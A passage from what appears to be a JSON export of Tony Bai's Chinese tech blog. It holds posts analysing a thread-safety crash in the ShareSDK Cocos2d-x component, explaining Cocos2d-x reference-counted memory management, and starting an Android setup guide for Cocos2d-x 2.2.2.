100),\nC2DXMenuArrowDirectionLeft,\nshareResultHandler);\n}\nvoid shareResultHandler(C2DXResponseState state, C2DXPlatType platType,\nCCDictionary *shareInfo, CCDictionary *error)\n{\nswitch (state) {\ncase C2DXResponseStateSuccess:\nCCLog(\u0026ldquo;Share Ok\u0026rdquo;);\nbreak;\ncase C2DXResponseStateFail:\nCCLog(\u0026ldquo;Share Failed\u0026rdquo;);\nbreak;\ndefault:\nbreak;\n}\n}\n崩溃的位置大致就在回调shareResultHandler前后的某个位 置，比较随机。\n二、现象分析\n通过查看Eclipse logcat窗口的调试日志，我们发现一些规律，一些在“Share Ok后的崩溃打印出如下日志：\n04-16 01:28:33.890: D/cocos2d-x debug info(1748): Share Ok\n04-16 01:28:34.090: D/cocos2d-x debug info(1748): Assert failed: reference count should greater than 0\n04-16 01:28:34.090: E/cocos2d-x assert(1748): /home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/temp/AppDemo/proj.android/../../../../../cocos2dx/cocoa/CCObject.cpp function:release line:81\n04-16 01:28:34.130: A/libc(1748): Fatal signal 11 (SIGSEGV) at 0×00000003 (code=1), thread 1829 (Thread-122)\n猜测一下，似乎是某个CCObject在真正Release前已经被释放了，然后后续被引用时触发内存非法访问。Cocos2d-x采用的是内存 计数的内存管理机制，在我的《Cocos2d-x内存管理-绕不过去的坎》一文中有描述。了解Cocos2d-x的内存管理机制是理解这个Bug 的前提条件。\n三、原因分析\n看来不得不挖掘一下ShareSDK组件的代码了。AppDemo中ShareSDK组件的代码分为两个部分：AppDemo/Classes /C2DXShareSDK和AppDemo/proj.android/src/cn/sharesdk。前者是C++代码，后面则是Java 代码，两者通过jni调用联系在一起。我们重点来找出分享应答返回来时的关键联系。\n集成ShareSDK的Cocos2d-x程序会在主Activity的onCreate方法中调用ShareSDKUtils.prepare();\n我们来看看prepare方法的实现：\n//AppDemo/proj.android/src/cn/sharesdk/ShareSDKUtils.java\npublic class ShareSDKUtils {\nprivate static boolean DEBUG = true;\nprivate static Context context;\nprivate static PlatformActionListener paListaner;\nprivate static Hashon hashon;\n… …\npublic static void prepare() {\nUIHandler.prepare();\ncontext = Cocos2dxActivity.getContext().getApplicationContext();\nhashon = new Hashon();\nfinal Callback cb = new Callback() {\npublic boolean handleMessage(Message msg) {\nonJavaCallback((String) msg.obj);\nreturn false;\n}\n};\npaListaner = new PlatformActionListener() {\npublic void onComplete(Platform platform, int action, HashMap\u0026lt;String, Object\u0026gt; res) {\nif (DEBUG) {\nSystem.out.println(\u0026ldquo;onComplete\u0026rdquo;);\nSystem.out.println(res == null ? \u0026quot;\u0026quot; : res.toString());\n}\nHashMap\u0026lt;String, Object\u0026gt; map = new HashMap\u0026lt;String, Object\u0026gt;();\nmap.put(\u0026ldquo;platform\u0026rdquo;, ShareSDK.platformNameToId(platform.getName()));\nmap.put(\u0026ldquo;action\u0026rdquo;, action);\nmap.put(\u0026ldquo;status\u0026rdquo;, 1); // Success = 1, Fail = 2, Cancel = 3\nmap.put(\u0026ldquo;res\u0026rdquo;, res);\nMessage msg = new Message();\nmsg.obj = hashon.fromHashMap(map);\nUIHandler.sendMessage(msg, cb);\n}\n… …\n}\n可以看出监听Complete事件的listener将message的处理都交给了cb，而cb调用了onJavaCallback方法。\nonJavaCallback方法是jni导出的方法，它的实现在 AppDemo/Classes/C2DXShareSDK/Android/ShareSDKUtils.cpp里面。\nJNIEXPORT void JNICALL Java_cn_sharesdk_ShareSDKUtils_onJavaCallback\n(JNIEnv * env, jclass thiz, jstring resp) {\nCCJSONConverter* json = CCJSONConverter::sharedConverter();\nconst char* ccResp = env-\u0026gt;GetStringUTFChars(resp, JNI_FALSE);\nCCLog(\u0026ldquo;ccResp = %s\u0026rdquo;, ccResp);\nCCDictionary* dic = json-\u0026gt;dictionaryFrom(ccResp);\nenv-\u0026gt;ReleaseStringUTFChars(resp, ccResp);\nCCNumber* status = (CCNumber*) dic-\u0026gt;objectForKey(\u0026ldquo;status\u0026rdquo;); // Success = 1, Fail = 2, Cancel = 3\nCCNumber* action = (CCNumber*) dic-\u0026gt;objectForKey(\u0026ldquo;action\u0026rdquo;); // 1 = ACTION_AUTHORIZING, 8 = ACTION_USER_INFOR,9 = ACTION_SHARE\nCCNumber* platform = (CCNumber*) dic-\u0026gt;objectForKey(\u0026ldquo;platform\u0026rdquo;);\nCCDictionary* res = (CCDictionary*) dic-\u0026gt;objectForKey(\u0026ldquo;res\u0026rdquo;);\n// TODO add codes here\nif(1 == status-\u0026gt;getIntValue()){\ncallBackComplete(action-\u0026gt;getIntValue(), platform-\u0026gt;getIntValue(), res);\n}else if(2 == status-\u0026gt;getIntValue()){\ncallBackError(action-\u0026gt;getIntValue(), platform-\u0026gt;getIntValue(), res);\n}else{\ncallBackCancel(action-\u0026gt;getIntValue(), platform-\u0026gt;getIntValue(), res);\n}\ndic-\u0026gt;autorelease();\n}\n这就是两块代码的关键联系。而问题似乎就出在onJavaCallback方 法里，因为我们看到了该方法中使用了Cocos2d-x的数据结构类。\n我们来看一下onJavaCallback方法是在哪个线程里执行的。Cocos2d-x App至少有两个线程，一个UI Thread（Activity），一个Render Thread。显然onJavaCallback是在UI Thread中被执行的。但是我们知道Cocos2d-x的AutoreleasePool是在Render Thread中管理的，并在帧切换时进行释放操作的。\n我们似乎闻到了问题的味道。Cocos2d-x基本上算是一个\u0026quot;单线程\u0026quot;游戏架构，所有的渲染操作、渲染树节点逻辑管理、绝大多数游戏逻辑都在 Render Thread中进行，UI Thread更多的是接收系统事件，并传递给Render Thread处理。Cocos2d-x的内存管理在这样的“单线程”背景下是没有大问题的，都是串行操作，不存在thread racing的情况。但一旦另外一个线程也调用内存管理接口进行对象内存操作时，问题就出现了，Cocos2d-x的内存池管理不是线程安全的。\n我们回到上面代码，重点看一下json转dic的方法，该方法将分享应答字符串转换为内部的dictionary结构：\n//AppDemo/Classes/C2DXShareSDK/Android/JSON/CCJSONConverter.cpp\nCCDictionary * CCJSONConverter::dictionaryFrom(const char *str)\n{\ncJSON * json = cJSON_Parse(str);\nif (!json || json-\u0026gt;type!=cJSON_Object) {\nif (json) {\ncJSON_Delete(json);\n}\nreturn NULL;\n}\nCCAssert(json \u0026amp;\u0026amp; json-\u0026gt;type==cJSON_Object, \u0026ldquo;CCJSONConverter:wrong json format\u0026rdquo;);\nCCDictionary * dictionary = CCDictionary::create();\nconvertJsonToDictionary(json, dictionary);\ncJSON_Delete(json);\nreturn dictionary;\n}\nvoid CCJSONConverter::convertJsonToDictionary(cJSON *json, CCDictionary *dictionary)\n{\ndictionary-\u0026gt;removeAllObjects();\ncJSON * j = json-\u0026gt;child;\nwhile (j) {\nCCObject * obj = getJsonObj(j);\ndictionary-\u0026gt;setObject(obj, j-\u0026gt;string);\nj = j-\u0026gt;next;\n}\n}\nCCObject * CCJSONConverter::getJsonObj(cJSON * json)\n{\nswitch (json-\u0026gt;type) {\ncase cJSON_Object:\n{\nCCDictionary * dictionary = CCDictionary::create(); convertJsonToDictionary(json, dictionary);\nreturn dictionary;\n}\ncase cJSON_Array:\n{\nCCArray * array = CCArray::create();\nconvertJsonToArray(json, array);\nreturn array;\n}\ncase cJSON_String:\n{\nCCString * string = CCString::create(json-\u0026gt;valuestring);\nreturn string;\n}\ncase cJSON_Number:\n{\nCCNumber * number = CCNumber::create(json-\u0026gt;valuedouble);\nreturn number;\n}\ncase cJSON_True:\n{\nCCNumber * boolean = CCNumber::create(1);\nreturn boolean;\n}\ncase cJSON_False:\n{\nCCNumber * boolean = CCNumber::create(0);\nreturn boolean;\n}\ncase cJSON_NULL:\n{\nCCNull * null = CCNull::create();\nreturn null;\n}\ndefault:\n{\nCCLog(\u0026ldquo;CCJSONConverter encountered an unrecognized type\u0026rdquo;);\nreturn NULL;\n}\n}\n}\n可以看出整个解析过程，都直接用的是传统的Cocos2d-x对象构造方法：create。在每个对象的create中，代码都会调用该对象的 autorelease方法。而这个方法本身就是线程不安全的，且即便autorelease调用ok，在下一帧切换时，这些对象将都会被release 掉，如果在UI Thread中再引用这些对象的地址，那势必造成内存的非法访问，而引发程序崩溃。\n四、Fix方法\n可能有朋友会问，create后，我retain一下可否？答案是否。因此create的创建不是线程安全的，create和retain两个调 用之间存在时间差，而在这段时间内，该对象就有可能被render thread释放掉。\nFix方法很简单，就是在UI Thread中不使用Cocos2d-x的内存管理机制，我们用传统的new来替代create，并将 Java_cn_sharesdk_ShareSDKUtils_onJavaCallback最后的autorelease改为release，这样就 不用劳烦Render Thread来帮我们释放内存了。CCDictionary的destructor调用时还会将Dictionarny内部所有Element自动释放 掉。\n","permalink":"https://tonybai.com/2014/04/17/a-bug-from-sharesdk-componet-for-cocos2dx/","summary":"\u003cp\u003e近期研究了一下Game App做社交分享，最后选择了\u003ca href=\"http://www.sharesdk.cn/\"\u003eShareSDK\u003c/a\u003e来集成，不仅是因为ShareSDK支持国内外主流社交平台，更重要的是ShareSDK提供了专门的 \u003ca href=\"http://www.cocos2d-x.org/\"\u003ecocos2d-x\u003c/a\u003e集成方案，有专门的\u003ca href=\"http://wiki.sharesdk.cn/cocos2d-x%E5%BF%AB%E9%80%9F%E9%9B%86%E6%88%90%E6%8C%87%E5%8D%97\"\u003e文档\u003c/a\u003e和\u003ca href=\"https://github.com/ShareSDKPlatform/C2DXShareSDKSample\"\u003e代码Demo\u003c/a\u003e供开发者参考。\u003c/p\u003e\n\u003cp\u003e文档中提到了三种集成方式：纯Java方式、plugin-x方式以及Cocos2d-x专用组件方式，这里选择了ShareSDK Cocos2d-x专用组件（v2.3.7版本)的方式。按照文档中描述的步骤进行的相对顺利，在各个社交平台的appkey生效后，我们对demo app进行了测试，居然发现app经常随机性的崩溃，有时甚至是每次都崩溃，经过深入分析，发现这是ShareSDK Cocos2d-x专用组件的一个严重Bug，下面详细说明一下Bug的产生原因以及Fix方法。\u003c/p\u003e","title":"ShareSDK Cocos2d-x专用组件的一个Bug"},{"content":"Cocos2d-x引擎的核心是用C++编写的，那对于所有使用该引擎的游戏开发人员来说，内存管理是一道绕不过去的坎。\n关于Cocos2d-x内存管理，网上已经有了许多参考资料，有些资料写的颇为详实，因为在内存管理这块我不想多费笔墨，只是更多的将思路描述清 楚。\n一、对象内存引用计数\nCocos2d-x内存管理的基本原理就是对象内存引用计数，Cocos2d-x将内存引用计数的实现放在了顶层父类CCObject中，这里将涉及引用计数的CCObject的成员和方法摘录出来：\nclass CC_DLL CCObject : public CCCopying\n{\npublic:\n… …\nprotected:\n// count of references\nunsigned int m_uReference;\n// count of autorelease\nunsigned int m_uAutoReleaseCount;\npublic:\nvoid release(void);\nvoid retain(void);\nCCObject* autorelease(void);\n… ….\n}\nCCObject::CCObject(void) m_nLuaID(0)\n, m_uReference(1) // when the object is created, the reference count of it is 1\n, m_uAutoReleaseCount(0)\n{\n… …\n} void CCObject::release(void)\n{\nCCAssert(m_uReference \u0026gt; 0, \u0026ldquo;reference count should greater than 0\u0026rdquo;);\n–m_uReference;\nif (m_uReference == 0)\n{\ndelete this;\n}\n}\nvoid CCObject::retain(void)\n{\nCCAssert(m_uReference \u0026gt; 0, \u0026ldquo;reference count should greater than 0\u0026rdquo;);\n++m_uReference;\n}\nCCObject* CCObject::autorelease(void)\n{\nCCPoolManager::sharedPoolManager()-\u0026gt;addObject(this);\nreturn this;\n}\n先不考虑autorelease与m_uAutoReleaseCount（后续细说）。计数的核心字段是m_uReference，可以看到：\n* 当一个Object初始化（被new出来时），m_uReference = 1；\n* 当调用该Object的retain方法时，m_uReference++；\n* 当调用该Object的release方法时，m_uReference–，若m_uReference减后为0，则delete该Object。\n二、手工对象内存管理\n在上述对象内存引用计数的原理下，我们得出以下Cocos2d-x下手工对象内存管理的基本模式：\nCCObject *obj = new CCObject();\nobj-\u0026gt;init();\n…. …\nobj-\u0026gt;release();\n在Cocos2d-x中CCDirector就是一个手工内存管理的典型：\nCCDirector* CCDirector::sharedDirector(void)\n{\nif (!s_SharedDirector)\n{\ns_SharedDirector = new CCDisplayLinkDirector();\ns_SharedDirector-\u0026gt;init();\n}\nreturn s_SharedDirector;\n}\nvoid CCDirector::purgeDirector()\n{\n… …\n// delete CCDirector\nrelease();\n}\n三、自动对象内存管理\n所谓的“自动对象内存管理”，指的就是哪些不再需要的object将由Cocos2d-x引擎替你释放掉，而无需你手工再调用Release方法。\n自动对象内存管理显然也要遵循内存引用计数规则，只有当object的计数变为0时，才会释放掉对象的内存。\n自动对象内存管理的典型模式如下：\nCCYourClass *CCYourClass::create()\n{\nCCYourClass*pRet = new CCYourClass();\nif (pRet \u0026amp;\u0026amp; pRet-\u0026gt;init())\n{\npRet-\u0026gt;autorelease();\nreturn pRet;\n}\nelse\n{\nCC_SAFE_DELETE(pRet);\nreturn NULL;\n}\n}\n一般我们通过一个单例模式创建对象，与手工模式不同的地方在于init后多了一个autorelease调用。这里再把autorelease调用的实现摘录一遍：\nCCObject* CCObject::autorelease(void)\n{\nCCPoolManager::sharedPoolManager()-\u0026gt;addObject(this);\nreturn this;\n}\n追溯addObject方法：\n// cocoa/CCAutoreleasePool.cpp\nvoid CCPoolManager::addObject(CCObject* pObject)\n{\ngetCurReleasePool()-\u0026gt;addObject(pObject);\n}\nvoid CCAutoreleasePool::addObject(CCObject* pObject)\n{\nm_pManagedObjectArray-\u0026gt;addObject(pObject);\nCCAssert(pObject-\u0026gt;m_uReference \u0026gt; 1, \u0026ldquo;reference count should be greater than 1\u0026rdquo;);\n++(pObject-\u0026gt;m_uAutoReleaseCount);\npObject-\u0026gt;release(); // no ref count, in this case autorelease pool added.\n}\n// cocoa/CCArray.cpp\nvoid CCArray::addObject(CCObject* object) { ccArrayAppendObjectWithResize(data, object); }\n// support/data_support/ccCArray.cpp\nvoid ccArrayAppendObjectWithResize(ccArray *arr, CCObject* object) { ccArrayEnsureExtraCapacity(arr, 1); ccArrayAppendObject(arr, object); }\nvoid ccArrayAppendObject(ccArray *arr, CCObject* object)\n{\nCCAssert(object != NULL, \u0026ldquo;Invalid parameter!\u0026rdquo;);\nobject-\u0026gt;retain();\narr-\u0026gt;arr[arr-\u0026gt;num] = object;\narr-\u0026gt;num++;\n}\n调用层次挺深，涉及的类也众多，这里归纳总结一下。\nCocos2d-x的自动对象内存管理基于对象引用计数以及CCAutoreleasePool（自动释放池）。引用计数前面已经说过了，这里单说自动释放池。Cocos2d-x关于自动对象内存管理的基本类层次结构如下：\nCCPoolManager类 (自动释放池管理器)\n– CCArray* m_pReleasePoolStack; （自动释放池栈，存放CCAutoreleasePool类实例）\nCCAutoreleasePool类\n– CCArray* m_pManagedObjectArray;\n（受管对象数组）\nCCObject关于内存计数以及自动管理有两个字段：m_uReference和m_uAutoReleaseCount。前面在手工管理模式下，我只提及了m_uReference，是m_uAutoReleaseCount该亮相的时候了。我们沿着自动释放对象的创建步骤来看看不同阶段，这两个重要字段的值都是啥，代表的是啥含义：\nCCYourClass*pRet = new CCYourClass(); m_uReference = 1； m_uAutoReleaseCount = 0；\npRet-\u0026gt;init()； m_uReference = 1； m_uAutoReleaseCount = 0；\npRet-\u0026gt;autorelease(); m_pManagedObjectArray-\u0026gt;addObject(pObject); m_uReference = 2； m_uAutoReleaseCount = 0；\n++(pObject-\u0026gt;m_uAutoReleaseCount); m_uReference = 2； m_uAutoReleaseCount = 1；\npObject-\u0026gt;release(); m_uReference = 1； m_uAutoReleaseCount = 1；\n在调用autorelease之前，两个值与手工模式并无差别，在autorelease后，m_uReference值没有变，但m_uAutoReleaseCount被加1。\nm_uAutoReleaseCount这个字段的名字很容易让人误解，以为是个计数器，但实际上绝大多数时刻它是一个标识的角色，以前版本代码中有一个布尔字段m_bManaged，似乎后来被m_uAutoReleaseCount替换掉了，因此m_uAutoReleaseCount兼有m_bManaged的含义， 也就是说该object是否在自动释放池的控制之下，如果在自动释放池的控制下，自动释放池会定期调用该object的release方法，直到该 object内存计数降为0，被真正释放。否则该object不能被自动释放池自动释放内寸，需手工release。这个理解非常重要，再后面我们能用到 这个理解。\n四、自动释放时机\n通过autorelease我们已经将object放入autoreleasePool中，那究竟何时对象会被释放呢？答案是每帧执行一次自动内存对象释放操作。\n在“Hello，Cocos2d-x”一文中，我们讲过整个Cocos2d-x引擎的驱动机制在于GLThread的guardedRun函数，后者会 “死循环”式（实际帧绘制频率受到屏幕vertsym信号的影响）的调用Render的onDrawFrame方法实现，而最终程序会进入 CCDirector::mainLoop方法中，也就是说mainLoop的执行频率是每帧一次。我们再来看看mainLoop的实现：\nvoid CCDisplayLinkDirector::mainLoop(void)\n{\nif (m_bPurgeDirecotorInNextLoop)\n{\nm_bPurgeDirecotorInNextLoop = false;\npurgeDirector();\n}\nelse if (! m_bInvalid)\n{\ndrawScene();\n// release the objects\nCCPoolManager::sharedPoolManager()-\u0026gt;pop();\n}\n}\n这次我们要关注的不是drawScene，而是 CCPoolManager::sharedPoolManager()-\u0026gt;pop()，显然在游戏未退出 (m_bPurgeDirecotorInNextLoop决定）的条件下，CCPoolManager的pop方法每帧执行一次，这就是自动释放池执行 的起点。\nvoid CCPoolManager::pop()\n{\nif (! m_pCurReleasePool)\n{\nreturn;\n}\nint nCount = m_pReleasePoolStack-\u0026gt;count();\nm_pCurReleasePool-\u0026gt;clear();\nif(nCount \u0026gt; 1)\n{\nm_pReleasePoolStack-\u0026gt;removeObjectAtIndex(nCount-1);\nm_pCurReleasePool = (CCAutoreleasePool*)m_pReleasePoolStack-\u0026gt;objectAtIndex(nCount – 2);\n}\n}\n真正释放对象的方法是m_pCurReleasePool-\u0026gt;clear()。\nvoid CCAutoreleasePool::clear()\n{\nif(m_pManagedObjectArray-\u0026gt;count() \u0026gt; 0)\n{\nCCObject* pObj = NULL;\nCCARRAY_FOREACH_REVERSE(m_pManagedObjectArray, pObj)\n{\nif(!pObj)\nbreak;\n–(pObj-\u0026gt;m_uAutoReleaseCount);\n}\nm_pManagedObjectArray-\u0026gt;removeAllObjects();\n}\n}\nvoid CCArray::removeAllObjects() { ccArrayRemoveAllObjects(data); }\nvoid ccArrayRemoveAllObjects(ccArray *arr) { while( arr-\u0026gt;num \u0026gt; 0 ) { (arr-\u0026gt;arr[\u0026ndash;arr-\u0026gt;num])-\u0026gt;release(); } }\n不出预料，当前自动释放池遍历每个“受控制”Object，–m_uAutoReleaseCount，并调用该object的release方法。\n我们接着按释放流程来看看m_uAutoReleaseCount和m_uReference值的变化：\nCCPoolManager::sharedPoolManager()-\u0026gt;pop()； m_uReference = 0； m_uAutoReleaseCount = 0；\n五、自动释放池的初始化\n自动释放池本身是何时出现的呢？回顾一下Cocos2d-x引擎的初始化过程（android版），引擎初始化实在Render的onSurfaceCreated方法中进行的，我们不难追踪到以下代码：\n//hellocpp/jni/hellocpp/main.cpp\nJava_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit {\n//这里CCDirector第一次被创建\nif (!CCDirector::sharedDirector()-\u0026gt;getOpenGLView())\n{\nCCEGLView *view = CCEGLView::sharedOpenGLView();\nview-\u0026gt;setFrameSize(w, h);\nAppDelegate *pAppDelegate = new AppDelegate();\nCCApplication::sharedApplication()-\u0026gt;run();\n}\n}\nCCDirector* CCDirector::sharedDirector(void)\n{\nif (!s_SharedDirector)\n{\ns_SharedDirector = new CCDisplayLinkDirector();\ns_SharedDirector-\u0026gt;init(); }\nreturn s_SharedDirector;\n}\nbool CCDirector::init(void)\n{\nsetDefaultValues();\n… …\n// create autorelease pool\nCCPoolManager::sharedPoolManager()-\u0026gt;push();\nreturn true;\n}\n六、探寻Cocos2d-x内核对象的自动化内存释放\n前面我们基本了解了Cocos2D-x的自动化内存释放原理。如果你之前翻看过一些Cocos2d-x的内核源码，你会发现很多内核对象都是通过单例模式create出来的，也就是说都使用了autorelease将自己放入自动化内存释放池中被管理。\n比如我们在HelloCpp中看到过这样的代码：\n//HelloWorldScene.cpp\nbool HelloWorld::init() {\n…. ….\n// add \u0026ldquo;HelloWorld\u0026rdquo; splash screen\u0026quot;\nCCSprite* pSprite = CCSprite::create(\u0026ldquo;HelloWorld.png\u0026rdquo;);\n// position the sprite on the center of the screen\npSprite-\u0026gt;setPosition(ccp(visibleSize.width/2 + origin.x, visibleSize.height/2 + origin.y));\n// add the sprite as a child to this layer\nthis-\u0026gt;addChild(pSprite, 0);\n… …\n}\nCCSprite采用自动化内存管理模式create object（cocos2dx/sprite_nodes/CCSprite.cpp），之后将自己加入到HelloWorld这个CCLayer实例 中。按照上面的分析，create结束后，CCSprite object的m_uReference = 1； m_uAutoReleaseCount = 1。一旦如此，那么在下一帧时，该object就会被CCPoolManager释放掉。但我们在屏幕上依旧可以看到该Sprite的存在，这是怎么回事呢？\n问题的关键就在this-\u0026gt;addChild(pSprite, 0)这行代码中。addChild方法实现在CCLayer的父类CCNode中：\n// cocos2dx/base_nodes/CCNode.cpp\nvoid CCNode::addChild(CCNode *child, int zOrder, int tag)\n{\n… …\nif( ! m_pChildren )\n{\nthis-\u0026gt;childrenAlloc();\n}\nthis-\u0026gt;insertChild(child, zOrder);\n… …\n}\nvoid CCNode::insertChild(CCNode* child, int z)\n{\nm_bReorderChildDirty = true;\nccArrayAppendObjectWithResize(m_pChildren-\u0026gt;data, child);\nchild-\u0026gt;_setZOrder(z);\n}\nvoid ccArrayAppendObjectWithResize(ccArray *arr, CCObject* object)\n{\nccArrayEnsureExtraCapacity(arr, 1);\nccArrayAppendObject(arr, object);\n}\nvoid ccArrayAppendObject(ccArray *arr, CCObject* object)\n{\nCCAssert(object != NULL, \u0026ldquo;Invalid parameter!\u0026rdquo;);\nobject-\u0026gt;retain();\narr-\u0026gt;arr[arr-\u0026gt;num] = object;\narr-\u0026gt;num++;\n}\n又是一系列方法调用，最终我们来到了ccArrayAppendObject方法中，看到了陌生而又眼熟的retain方法调用。\n在本文开始我们介绍CCObject时，我们知道retain是CCObject的一个方法，用于增加m_uReference计数。而实际上retain还隐含着“保留”这层意思。\n在完成this-\u0026gt;addChild(pSprite, 0)调用后，CSprite object的m_uReference = 2； m_uAutoReleaseCount = 1，这很关键。\n我们在脑子里再过一下自动释放池释放object的过程：–m_uReference, –m_uAutoReleaseCount。一帧之后，两个值变成了m_uReference = 1； m_uAutoReleaseCount = 0。还记得前面说过的m_uAutoReleaseCount的另外一个非计数含义么，那就是表示该object是否“受控”，现在值为0，显然不再受自动释放池的控制了，后续即便再执行100次内存自动释放，也不会影响到该object的存活。\n后续要想释放这个“精灵”，我们还是需要手工调用release，或再调用其autorelease方法。\n","permalink":"https://tonybai.com/2014/03/18/cocos2dx-memory-management/","summary":"\u003cp\u003e\u003ca href=\"http://cocos2d-x.org/\"\u003eCocos2d-x\u003c/a\u003e引擎的核心是用C++编写的，那对于所有使用该引擎的游戏开发人员来说，内存管理是一道绕不过去的坎。\u003c/p\u003e\n\u003cp\u003e关于Cocos2d-x内存管理，网上已经有了许多参考资料，有些资料写的颇为详实，因为在内存管理这块我不想多费笔墨，只是更多的将思路描述清 楚。\u003c/p\u003e","title":"Cocos2d-x内存管理-绕不过去的坎"},{"content":"女儿从两岁半开始接触iPad，在这个年龄段也只有一些幼教类游戏适合她玩。虽然知道iPad玩久了对视力有伤害，但有时候还真拗不过果果，索性 也就让她玩一会儿。之前对智能终端上的东西不是很在意，也没啥兴趣，这大概与当年在大学时做Win32 GUI开发的糟糕经历多多少少有点关系。不过智能终端是大势所趋，历史的潮流不能违抗。虽然自己并非以Android/iOS编程为主业，但适当学习学习 总归没有坏处，万一作出一个像\u0026quot;Flappy Bird\u0026quot;的游戏，爆发一下，还是蛮Happy的。于是在开始学习实践之前给自己定了一个小目标：今年六一儿童节送给女儿一款自己制作的小游戏。\n智能终端上的游戏目前风头正劲，试问哪个智能手机上没有几款企鹅公司出品的游戏呢！之前从未涉猎过游戏开发，但知道游戏开发前要挑选一款合适的游 戏引擎，自己从头开始敲代码的时代已经out了。在寻觅游戏引擎之前，我需要回答三道摆在我面前的选择题：\n1、2D引擎还是3D引擎？\n2、平台专用引擎还是跨平台引擎？\n3、收费引擎还是开源引擎？\n作为入门级选手，2D游戏显然更适合上手一些，另外适合果果这个年龄段的幼教类的游戏也多以2D游戏居多。3D游戏本身也太难了，不仅要 Programming能力，还要3D建模能力，这些学习起来周期就太长了；一直是Ubuntu Fans，手头没有Mac Book，这样开发iOS程序变成一件糟心的事，在Ubuntu下搭建iOS App开发环境繁杂的很，即便是虚拟机也懒得尝试。但从游戏体验来看，还是在iPad上玩更好一些，因此最好引擎能跨平台，以便后续迁移到iOS上；开源 和用开源惯了，收费的引擎目前不在考虑范围之内。综上，我要寻找的是一款开源的、跨平台的Mobile 2D Game Engine。\n于是我找到了Cocos2d-x！Cocos2d-x是Cocos2d-iphone的C++跨平台分支，由于是国人创立的，在国内有着较大的用 户群，引擎资料也较多，社区十分活跃。国内已经出版了多本有关Cocos2d-x的中文书籍，比如《Cocos2d-x高级开发教程:制作自己的 “捕鱼达人”》 、《Cocos2d-x权威指南》 等都还不错。更重要的是Cocos2d-x自带了丰富的例子，供初学者“临摹学习”，其中cocos2d-x-2.2.2/samples/Cpp /TestCpp这个例子几乎涵盖了该引擎的绝大多数功能。下面就开启Cocos2d-x的入门之旅（For Android）。\n一、引擎安装\n试验环境：\nUbuntu 12.04.1 x86_64\ngcc 4.6.3\njavac 1.7.0_21\njava \u0026ldquo;1.7.0_21\u0026rdquo; HotSpot 64-bit Server VM\nadt-bundle-linux-x86_64-20131030.zip\nandroid-ndk-r9d-linux-x86_64.tar.bz2\nCocos2d-x官网目前提供2.2.2稳定版以及3.0beta2版的下载（当然你也可以下载到更老的版本）。由于3.0改变较大，资料不 多，且对编译器等版本的要求较高(需要支持C++ 11标准)，因此这里依旧以2.2.2版本作为学习目标。Cocos2d-x-2.2.2下载后解压到某个目录：比如/home1/tonybai/android-dev/cocos2d-x-2.2.2。 如果仅是用Cocos2d-x开发Android版本游戏，则不需要做什么编译工作。Android Game Project会在Project build时自动用NDK的编译器编译C++代码，并与NDK链接。如果你想早点看看Cocos2d-x sample中的例子运行起来到底是什么样子的，你可以在Ubuntu下编译出Linux版本的游戏：在cocos2d-x-2.2.2下执行make-all-linux-project.sh即可。编译需要一段时间，编译成 功后，我们可以进入到“cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.linux/bin/release” 下执行“HelloCpp”这个可执行文件，一个最简单的Cocos2d-x游戏就会展现在你的面前了。\nAndroid sample project的构建稍微复杂些：\n首先在Eclipse中添加libcocos2dx Library project from existed code（注意：不Copy到workspace，原地建立）。该Project的代码路径为cocos2d-x-2.2.2/cocos2dx/platform /android/java。在project.properties和AndroidManifest.xml适当修改你所使用的api版本， 以让编译通过。我这里用的是 target=android-19。\n然后，设置NDK_ROOT环境变量(比如export NDK_ROOT=\u0026rsquo;/home1/tonybai/android-dev/adt-bundle-linux-x86_64/android-ndk-r9c\u0026rsquo;)， 供build_native.sh使用。\n最后添加游戏project。在Eclipse中添加HelloCpp project from existed code，位置cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android（注 意：不Copy到Workspace中，原地建立）。在HelloCpp的project.properties中添加“android.library.reference.1=../../../../cocos2dx/platform/android /java”。同样别忘了在project.properties和AndroidManifest.xml适当修改你所使用 的api版本，以让编译通过。\n如果一切顺利的话，你会在Console窗口看到“**** Build Finished ****”。Problems窗口显示“0 errors“。 启动Android模拟器，Run Application，同样的HelloCpp画面会呈现在模拟器上。\nCocos2d-x是建构在OpenGL技术之上的。对于Android平台而言，Android SDK已经完全封装了opengl es 1.1/2.0的API（android.opengl.*;javax.microedition.khronos.egl.*;javax.microedition.khronos.opengles.*）， 引擎完全可以建立在这个之上，无需C++代码。但Cocos2d-x是一个跨平台的2D游戏引擎，核心选择了用C++代码实现(iOS提供的C绑 定，不提供Java绑定；Android则提供了Java和C绑定)，因此 在开发Android平台的2D游戏时，引擎部分是SDK与NDK交相互应，比如GLThread的创建和管理用的是SDK的 GLSurfaceView和GLThread，但真正的Surface绘制部分则是回调Cocos2d-x用C++编写的绘制实现（链接NDK 中的库）。\n二、Cocos2d-x Android工程代码组织结构\n以samples/Cpp/HelloApp的Android工程为例，Android版的Cocos2d-x工程与普通android应用程序 差别 不大，核心部分只是多了一个jni目录和一个build_native.sh脚本文件。其中jni目录下存放的是Java和C++调用转换的“胶 水”代码；build_native.sh则是用于编译jni下C++代码以及 cocos2dx_static library代码的构建脚本。\nHelloCpp的构建过程摘要如下：\n**** Build of configuration Default for project HelloCpp ****\nbash /home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/build_native.sh\nNDK_ROOT = /home1/tonybai/android-dev/adt-bundle-linux-x86_64/android-ndk-r9c\nCOCOS2DX_ROOT = /home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/../../../..\nAPP_ROOT = /home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/..\nAPP_ANDROID_ROOT = /home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android\n+ /home1/tonybai/android-dev/adt-bundle-linux-x86_64/android-ndk-r9c/ndk-build -C /home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.androidNDK_MODULE_PATH=/home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/../../../..:/home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/../../../../cocos2dx/platform/third_party/android/prebuilt\nUsing prebuilt externals\nAndroid NDK: WARNING:/home1/tonybai/android-dev/cocos2d-x-2.2.2/samples/Cpp/HelloCpp/proj.android/../../../../cocos2dx**/Android.mk**:cocos2dx_static: LOCAL_LDLIBS is always ignored for static libraries make: 